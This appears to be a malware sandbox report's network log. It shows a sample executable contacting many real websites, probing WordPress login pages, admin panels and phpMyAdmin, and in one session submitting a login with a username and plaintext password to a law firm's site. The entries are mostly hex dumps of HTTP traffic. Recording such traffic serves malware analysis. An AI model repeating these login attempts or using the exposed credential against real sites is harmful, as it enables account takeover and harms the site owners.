6d 65 6e Data Ascii: 10a6</select><script type='text/javascript'>/* <![CDATA[ */(function() {var dropdown = document.getElementById( "archives-dropdown--1" );function onSelectChange() {if ( dropdown.options[ dropdown.selectedIndex ].value !== '' ) {documen

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.4	49355	45.40.150.54	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	382	OUT	POST /wp-login.php HTTP/1.1 Host: engel-firm.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=se72ph7k70j2cc32bsjadoqrl1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://engel-firm.com/wp-login.php Content-Length: 175 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:43 UTC	175	OUT	Data Raw: 6c 6f 67 3d 63 6f 6e 74 61 63 74 75 73 25 34 30 65 6e 67 65 6c 2d 66 69 72 6d 2e 63 6f 6d 26 70 77 64 3d 57 65 6c 63 6f 6d 65 32 30 31 36 25 32 34 26 77 70 73 65 63 5f 63 61 70 74 63 68 61 5f 61 6e 73 77 65 72 3d 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 65 6e 67 65 6c 2d 66 69 72 6d 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=contactus%40engel-firm.com&pwd=Welcome2016%24&wpsec_captcha_answer=&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fengel-firm.com%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:43 UTC	773	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 67 65 3a 20 30 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e Data Ascii: HTTP/1.1 200 OKServer: openrestyDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeage: 0cache-control: no-store, no-cache, must-revalidatecontent-security-policy: upgrade-in
2023-11-26 05:59:43 UTC	7940	IN	Data Raw: 31 65 66 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4c 61 77 20 46 69 72 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: 1efc<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Law Firm — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javas
2023-11-26 05:59:43 UTC	1624	IN	Data Raw: 36 35 31 0d 0a 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 75 6e 64 65 72 73 63 6f 72 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 33 2e 34 27 20 69 64 3d 27 75 6e 64 65 72 73 63 6f 72 65 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 69 64 3d 27 77 70 2d 75 74 69 6c 2d 6a 73 2d 65 78 74 72 61 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 5f 77 70 55 74 69 6c 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 61 6a 61 78 22 3a 7b 22 75 72 6c 22 3a 22 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 64 6d 69 6e 2d 61 6a 61 78 2e 70 68 70 22 7d 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a Data Ascii: 651includes/js/underscore.min.js?ver=1.13.4' id='underscore-js'></script><script type='text/javascript' id='wp-util-js-extra'>/* <![CDATA[ /var _wpUtilSettings = {"ajax":{"url":"\/wp-admin\/admin-ajax.php"}};/ ... */</script><script type='text/j
2023-11-26 05:59:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.4	49479	162.210.96.117	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	184	OUT	GET /wp-login.php HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	580	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 48 50 53 45 53 53 49 44 3d 6a 6a 34 68 31 74 73 6a 31 34 6f 37 68 67 35 63 6f 76 32 66 71 6c 6c Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:43 GMTServer: ApachePragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: PHPSESSID=jj4h1tsj14o7hg5cov2fqll
2023-11-26 05:59:44 UTC	3247	IN	Data Raw: 63 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 Data Ascii: ca8<!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="en-US"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">...<![endif]--><head><meta http-equiv="Cont
2023-11-26 05:59:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.4	49285	15.236.29.106	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	162	OUT	GET / HTTP/1.1 Host: getquipu.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 34 36 34 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 31 34 3a 33 35 3a 30 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 35 35 66 36 33 31 37 2d 31 37 31 62 31 22 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:43 GMTContent-Type: text/htmlContent-Length: 94641Connection: closeLast-Modified: Thu, 23 Nov 2023 14:35:03 GMTETag: "655f6317-171b1"Strict-Transport-Security: max-age=31536000; incl
2023-11-26 05:59:43 UTC	16026	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 20 4c 61 73 74 20 50 75 62 6c 69 73 68 65 64 3a 20 54 68 75 20 4e 6f 76 20 32 33 20 32 30 32 33 20 31 34 3a 30 37 3a 33 37 20 47 4d 54 2b 30 30 30 30 20 28 43 6f 6f 72 64 69 6e 61 74 65 64 20 55 6e 69 76 65 72 73 61 6c 20 54 69 6d 65 29 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 0a 20 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 36 35 35 37 39 32 66 62 30 36 30 66 34 66 34 30 65 33 37 66 62 36 62 64 22 0a 20 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 36 34 30 30 63 34 39 64 66 66 34 62 34 35 38 36 34 65 38 39 36 61 34 62 22 0a 20 20 6c 61 6e 67 3d 22 65 73 22 0a 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 Data Ascii: <!DOCTYPE html>... Last Published: Thu Nov 23 2023 14:07:37 GMT+0000 (Coordinated Universal Time) --><html data-wf-page="655792fb060f4f40e37fb6bd" data-wf-site="6400c49dff4b45864e896a4b" lang="es"> <head> <meta charset="utf-8" /> <ti
2023-11-26 05:59:43 UTC	16384	IN	Data Raw: 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 75 69 2d 74 65 78 74 2d 73 69 7a 65 2d 73 6d 61 6c 6c 2d 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 43 6f 6e 6f 63 65 20 65 6c 20 65 73 74 61 64 6f 20 64 65 20 74 75 20 66 61 63 74 75 72 61 63 69 c3 b3 6e 20 70 6f 72 20 63 6f 6e 74 61 63 74 6f 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: v> <div class="uui-text-size-small-2"> Conoce el estado de tu facturacin por contacto. </div> </div> </a>
2023-11-26 05:59:43 UTC	16384	IN	Data Raw: 2f 70 65 72 73 6f 6e 61 6c 69 7a 61 72 2d 66 61 63 74 75 72 61 2e 6a 73 6f 6e 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 6c 6f 6f 70 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 69 72 65 63 74 69 6f 6e 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 75 74 6f 70 6c 61 79 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 69 73 2d 69 78 32 2d 74 61 72 67 65 74 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 72 65 6e 64 65 72 65 72 3d 22 73 76 67 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 75 72 61 74 69 6f 6e Data Ascii: /personalizar-factura.json" data-loop="1" data-direction="1" data-autoplay="1" data-is-ix2-target="0" data-renderer="svg" data-duration
2023-11-26 05:59:43 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 74 3d 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 77 2d 6e 6f 64 65 2d 5f 35 66 38 65 31 64 33 31 2d 38 66 61 38 2d 64 35 63 31 2d 36 30 34 36 2d 30 37 62 34 31 32 34 39 33 63 37 36 2d 31 32 34 39 33 63 37 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 64 69 76 20 62 67 5f 5f 67 72 65 65 6e 5f 69 6d 61 67 65 20 66 75 6c 6c 2d 63 65 6e 74 65 72 20 72 6f 75 6e 64 65 64 5f 5f 32 30 70 78 22 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: " alt="" class="image" /> </div> <div id="w-node-_5f8e1d31-8fa8-d5c1-6046-07b412493c76-12493c71" class="div bg__green_image full-center rounded__20px"
2023-11-26 05:59:43 UTC	16384	IN	Data Raw: 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 49 6e 67 72 65 73 6f 73 20 79 20 67 61 73 74 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6f 62 72 6f 73 2d 79 2d 70 61 67 6f 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 43 6f 62 72 6f 73 20 79 20 70 61 67 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6c 69 65 6e 74 65 73 2d 70 72 6f 76 65 65 64 6f 72 65 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 Data Ascii: ter-link" >Ingresos y gastos</a > <a href="es/gestion-cobros-y-pagos" class="link footer-link" >Cobros y pagos</a > <a href="es/gestion-clientes-proveedores" class="link footer-li
2023-11-26 05:59:44 UTC	13079	IN	Data Raw: 20 34 30 2e 38 37 34 39 20 33 33 2e 30 35 31 39 20 34 31 2e 30 37 30 35 20 33 33 2e 34 35 33 39 4c 34 31 2e 39 33 39 37 20 33 35 2e 31 39 32 34 43 34 32 2e 30 39 31 38 20 33 35 2e 34 38 35 37 20 34 32 2e 33 37 34 33 20 33 35 2e 36 34 38 37 20 34 32 2e 36 37 38 35 20 33 35 2e 36 34 38 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 33 33 2e 30 39 35 34 20 33 30 2e 34 32 32 35 43 33 33 2e 32 31 34 39 20 33 30 2e 34 32 32 35 20 33 33 2e 33 34 35 33 20 33 30 2e 33 39 20 33 33 2e 34 35 33 39 20 33 30 Data Ascii: 40.8749 33.0519 41.0705 33.4539L41.9397 35.1924C42.0918 35.4857 42.3743 35.6487 42.6785 35.6487Z" fill="white" ></path> <path d="M33.0954 30.4225C33.2149 30.4225 33.3453 30.39 33.4539 30

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.4	49504	104.200.30.31	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	171	OUT	GET /admin/ HTTP/1.1 Host: edgewater.group Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	164	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 39 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:43 GMTServer: ApacheContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:43 UTC	196	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.4	65497	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	253	OUT	GET /saml/index.php?page=%2Fphpmyadmin%2F HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=m8r73sfk2fugohr6q21ktgilm1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	1077	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTPragma: no-cacheCache-Control: no-cache, must-revalida
2023-11-26 05:59:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.4	49454	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	184	OUT	GET /wp/wp-login.php HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	542	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:43 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=
2023-11-26 05:59:43 UTC	6439	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 73 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 Data Ascii: <!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="es" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.4	49508	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	301	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip Cookie: k8spersistent=22cb6f4364865b2e22019c7dac43ae73\|11f187638643e13d7bd1963991fac52b; OF=9et5pla7nsi6m08nuam1qvco53 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
